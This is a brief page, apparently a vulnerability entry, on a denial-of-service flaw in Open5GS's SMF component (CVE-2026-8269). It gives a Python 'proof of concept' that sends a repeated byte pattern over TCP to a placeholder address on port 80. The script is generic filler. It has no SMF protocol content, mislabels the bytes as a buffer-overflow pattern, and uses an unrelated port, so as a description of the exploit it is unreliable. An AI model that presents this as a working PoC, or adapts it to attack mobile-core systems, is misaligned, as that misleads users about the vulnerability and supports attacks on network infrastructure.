CVE-2026-8269 Open5GS SMF组件拒绝服务漏洞

import socket import struct # This is a conceptual PoC for demonstration purposes. # It simulates sending a malformed packet to the SMF interface. def send_exploit(target_ip, target_port): try: # Create a raw socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a malicious payload targeting the vulnerable function # Note: Actual payload structure depends on the specific protocol implementation payload = b"\x00\x01\x02" * 100 # Example buffer overflow pattern # Send the payload s.send(payload) print("[+] Payload sent to target: %s:%d" % (target_ip, target_port)) s.close() except Exception as e: print("[-] Error: %s" % str(e)) if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 80 # Example port, adjust according to SMF configuration send_exploit(TARGET_IP, TARGET_PORT)